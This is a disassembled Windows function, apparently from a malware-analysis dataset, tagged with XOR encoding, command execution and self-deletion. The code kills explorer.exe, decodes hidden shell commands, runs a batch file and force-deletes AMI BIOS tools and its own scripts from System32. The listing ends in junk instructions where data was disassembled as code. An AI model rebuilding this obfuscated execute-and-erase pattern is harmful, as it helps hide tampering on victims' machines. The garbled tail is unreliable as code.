Function at 0x140041440
Capabilities:
Encode data using xor
Execute command
Self delete

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
lea rcx, str.taskkill__f__im_explorer.exe
movaps xmmword [rax - 0x18], xmm6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edi, dword [0x1401100a0]
lea rcx, [0x1400fc580]
movups xmm0, xmmword [rcx]
mov eax, dword [rcx + 0xa0]
lea rdx, [rbp - 0x69]
movups xmm1, xmmword [rcx + 0x10]
xor ebx, ebx
movdqa xmm6, xmmword [0x1400fd050]
mov r8d, ebx
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm1
movups xmmword [rdx + 0x10], xmm0
mov dword [rdx + 0x20], eax
movzx eax, word [rcx + 0xa4]
mov word [rdx + 0x24], ax
movzx eax, byte [rcx + 0xa6]
mov byte [rdx + 0x26], al
cmp edi, 2
jl 0x140041637
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp - 0x65]
movdqa xmm4, xmmword [0x1400fd020]
movdqa xmm3, xmmword [0x1400fd430]
movdqa xmm5, xmmword [str.8888]
movdqa xmmword [rbp - 0x79], xmm0
mov edx, dword [rbp - 0x79]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xa0
jl 0x140041540
cmp r8d, 0xa7
jge 0x140041678
movsxd rax, r8d
lea r9, [rbp - 0x69]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xa7
jl 0x140041641
lea rcx, [rbp - 0x69]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400fc4e0]
mov r8d, ebx
movups xmm1, xmmword [0x1400fc4f0]
mov eax, dword [0x1400fc570]
mov dword [rbp + 0x27], eax
movzx eax, word [0x1400fc574]
mov word [rbp + 0x2b], ax
movzx eax, byte [0x1400fc576]
mov byte [rbp + 0x2d], al
movups xmmword [rbp - 0x69], xmm0
movups xmm0, xmmword [0x1400fc500]
movups xmmword [rbp - 0x49], xmm0
movups xmm0, xmmword [0x1400fc520]
movups xmmword [rbp - 0x59], xmm1
movups xmm1, xmmword [0x1400fc510]
movups xmmword [rbp - 0x29], xmm0
movups xmm0, xmmword [0x1400fc540]
movups xmmword [rbp - 0x39], xmm1
movups xmm1, xmmword [0x1400fc530]
movups xmmword [rbp - 9], xmm0
movups xmm0, xmmword [0x1400fc560]
movups xmmword [rbp - 0x19], xmm1
movups xmm1, xmmword [0x1400fc550]
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 7], xmm1
cmp edi, 2
jl 0x140041837
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp - 0x65]
movdqa xmm4, xmmword [0x1400fd020]
movdqa xmm3, xmmword [0x1400fd430]
movdqa xmm5, xmmword [str.8888]
movdqa xmmword [rbp - 0x79], xmm0
mov edx, dword [rbp - 0x79]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140041740
cmp r8d, 0x97
jge 0x140041878
movsxd rax, r8d
lea r9, [rbp - 0x69]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140041841
lea rcx, [rbp - 0x69]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400fc430]
mov r8d, ebx
movups xmm1, xmmword [0x1400fc440]
mov eax, dword [0x1400fc4c8]
mov dword [rbp + 0x2f], eax
movzx eax, word [0x1400fc4cc]
mov word [rbp + 0x33], ax
movzx eax, byte [0x1400fc4ce]
mov byte [rbp + 0x35], al
movups xmmword [rbp - 0x69], xmm0
movups xmm0, xmmword [0x1400fc450]
movups xmmword [rbp - 0x49], xmm0
movups xmm0, xmmword [0x1400fc470]
movups xmmword [rbp - 0x29], xmm0
movups xmm0, xmmword [0x1400fc490]
movups xmmword [rbp - 0x59], xmm1
movups xmm1, xmmword [0x1400fc460]
movups xmmword [rbp - 9], xmm0
movups xmm0, xmmword [0x1400fc4b0]
movups xmmword [rbp - 0x39], xmm1
movups xmm1, xmmword [0x1400fc480]
movups xmmword [rbp + 0x17], xmm0
movsd xmm0, qword [0x1400fc4c0]
movsd qword [rbp + 0x27], xmm0
movups xmmword [rbp - 0x19], xmm1
movups xmm1, xmmword [0x1400fc4a0]
movups xmmword [rbp + 7], xmm1
cmp edi, 2
jl 0x140041a47
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp - 0x65]
movdqa xmm4, xmmword [0x1400fd020]
movdqa xmm3, xmmword [0x1400fd430]
movdqa xmm5, xmmword [str.8888]
movdqa xmmword [rbp - 0x79], xmm0
mov edx, dword [rbp - 0x79]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x98
jl 0x140041950
cmp r8d, 0x9f
jge 0x140041a88
movsxd rax, r8d
lea r9, [rbp - 0x69]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x9f
jl 0x140041a51
lea rcx, [rbp - 0x69]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.VCET]
movups xmm1, xmmword [0x1400fcc40]
mov eax, dword [0x1400fccc0]
mov dword [rbp + 0x27], eax
movzx eax, byte [0x1400fccc4]
mov byte [rbp + 0x2b], al
movups xmmword [rbp - 0x69], xmm0
movups xmm0, xmmword [0x1400fcc50]
movups xmmword [rbp - 0x49], xmm0
movups xmm0, xmmword [0x1400fcc70]
movups xmmword [rbp - 0x59], xmm1
movups xmm1, xmmword [0x1400fcc60]
movups xmmword [rbp - 0x29], xmm0
movups xmm0, xmmword [0x1400fcc90]
movups xmmword [rbp - 0x39], xmm1
movups xmm1, xmmword [0x1400fcc80]
movups xmmword [rbp - 9], xmm0
movups xmm0, xmmword [0x1400fccb0]
movups xmmword [rbp - 0x19], xmm1
movups xmm1, xmmword [str.AFBL]
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 7], xmm1
cmp edi, 2
jl 0x140041c32
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp - 0x65]
movdqa xmm4, xmmword [0x1400fd020]
movdqa xmm3, xmmword [0x1400fd430]
movdqa xmm5, xmmword [str.8888]
movdqa xmmword [rbp - 0x79], xmm0
mov edx, dword [rbp - 0x79]
nop dword [rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x90
jl 0x140041b40
cmp ebx, 0x95
jge 0x140041c72
movsxd rax, ebx
lea r8, [rbp - 0x69]
add r8, rax
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
inc ebx
sub al, cl
add al, 0x35
xor byte [r8 - 1], al
cmp ebx, 0x95
jl case.default.0x140041cdd
lea rcx, [rbp - 0x69]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32ub.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__del__f__q_AMIDEWINx64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__del__f__q_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__del__f__q_ub.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__del__f__q_randstr.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_explorer.exe
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add cl, byte [rax]
xor eax, 0x8479a331
cwde
add ecx, dword [rax]
lodsd eax, dword [rsi]
sbb dh, byte [rsi]
mov bh, 0x6e
movsd dword [rdi], dword [rsi]
invalid
xchg esp, eax
invalid
in eax, 0x30
stosd dword [rdi], eax
add byte [rdx + 1], al
test byte [rdx], bl
add dword [rcx + 0x46841a9a], esp
add dword [rcx - 0x36ba3d67], esp
in al, dx
jp 0x1401e01c1
or byte [0xe49d075f], al
movsb byte [rdi], byte [rsi]
lahf
invalid
shl dword [rbp + rcx*2 + 5], cl
adc byte [rdx - 0x552bbe94], bl
and eax, dword [rax + 0x4945fa50]
movabs eax, dword [0x80db2874a1009519]
invalid
pushfq
invalid
insd dword [rdi], dx
xor byte [rax - 0x56497af0], 0x98
fsincos
and byte [rsi - 0x1ebfd7b4], cl
sub byte [rax - 0x1f], r8b
cmp byte [rax + 0x2de6b8c4], 0x5a
mov dh, 0x48
sbb byte [0x14ea43630], dh
jp 0x1401e01e8
xchg byte [rsi], cl
jp 0x1401e01e8
xchg byte [rsi], cl
sbb eax, 0xdbedf68a
movabs dword [0xedc3f3538cdaed76], eax
int1
fimul dword [rbx + rdx*2 - 0xe123c0d]
repz ret
sub dl, 4
xchg edx, eax
out dx, eax
lodsd eax, dword [rsi]
mov bh, 0xde
add bh, byte [rcx - 9]
pushfq
cmpsq qword [rsi], qword [rdi]
je 0x1401e01dd
jno 0x1401e01be
int3
shr dword [rdx - 0x61], 1
push 0xffffffffffffff9f
adc byte [rax + 0x48], al
invalid
or eax, 0x54291879
invalid
push rsp
sbb byte [rcx], ch
invalid
push rsp
je 0x1401e023c
cli
invalid
wait
jg 0x1401e0249
invalid
cmc
test al, 0x13
invalid
mov edx, edx
fadd qword [rbp + 0xbf19087]
xchg dword [rax - 0xf3ff40f], edx
add cl, byte [rax]
xchg dword [rax - 0xf3ff40f], edx
add cl, byte [rax]
or eax, 0x3beb937
invalid
mov esi, 0x8079a03
lea ecx, [rax]
sbb esi, dword [0x1406e89dc]
invalid
cmc
sbb eax, 0x9e955ad
stosd dword [rdi], eax
add dword [rcx - 0x517b842e], esp
push 0xffffffff9efa7989
or al, 0x16
xchg edx, eax
jle 0x1401e023c
test dword [rdx + rbx*4], 0xf681965
movsd dword [rdi], dword [rsi]
xor byte [rax + 0x36], cl
lodsd eax, dword [rsi]
sbb dh, byte [rdx]
jp 0x1401e02b9
out 0x5c, al
mov ebp, 0x5e473b05
cmp eax, dword [rdi + 0x5e]
invalid
mov ah, 0x91
sti
imul ch
sbb ebx, dword [rsi + rbp]
add byte [r9], spl
jns 0x1401e02e1
invalid
sub al, 0x9e
int3